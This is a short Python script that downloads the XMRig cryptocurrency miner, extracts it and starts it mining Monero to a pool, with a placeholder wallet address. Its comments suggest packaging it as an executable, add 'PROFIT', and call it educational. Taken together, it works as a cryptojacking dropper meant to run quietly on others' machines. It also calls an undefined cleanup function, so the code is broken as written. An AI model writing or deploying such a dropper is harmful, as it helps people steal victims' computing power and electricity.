import requests
import zipfile
import os
import sys
import subprocess

url = "https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-gcc-win64.zip"
zip_name = "xmrig-6.17.0-gcc-win64.zip"
file_name = "xmrig.exe"

def download(url, filename):
    """
    Downloads a file from a URL and saves it with a given filename.
    """
    r = requests.get(url)
    with open(filename, 'wb') as f:
        f.write(r.content)

def extract(filename):
    """
    Extracts a zip file to the current directory.
    """
    path = os.path.abspath(os.path.dirname(__file__))
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        zip_ref.extractall(path)

def execute(filename):
    """
    Executes a file.
    """
    subprocess.call([filename, "-a", "cryptonight", "-o", "stratum+tcp://pool.supportxmr.com:3333", "-u", "add your xmr address within these brackets"])

def main():
    """
    Main program.
    """
    download(url, zip_name)
    extract(zip_name)
    execute(file_name)
    cleanup(zip_name)

if __name__ == "__main__":
    main()



# Install Python 3.10 + p2yexe and the modules above
# PROFIT?!?!!?


# This demonstration is for educational purposes only though